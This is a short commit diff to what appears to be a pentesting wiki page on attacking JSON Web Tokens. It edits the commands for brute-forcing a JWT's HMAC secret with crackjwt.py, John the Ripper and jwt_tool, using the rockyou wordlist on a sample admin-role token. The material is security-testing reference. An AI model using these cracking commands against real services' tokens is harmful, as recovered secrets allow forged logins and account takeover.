GitBook: [master] one page modified

Author: carlospolop

pentesting-web/hacking-jwt-json-web-tokens.md

@@ -50,9 +50,8 @@ cd jwtcrack
 #Bruteforce using crackjwt.py
 python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
 
-#Bruteforce using john
-python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
-john jwt.john #It does not work with Kali-John
+#John
+john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
 
 #https://github.com/ticarpi/jwt_tool
 python3 jwt_tool.py -d wordlists.txt <JWT token>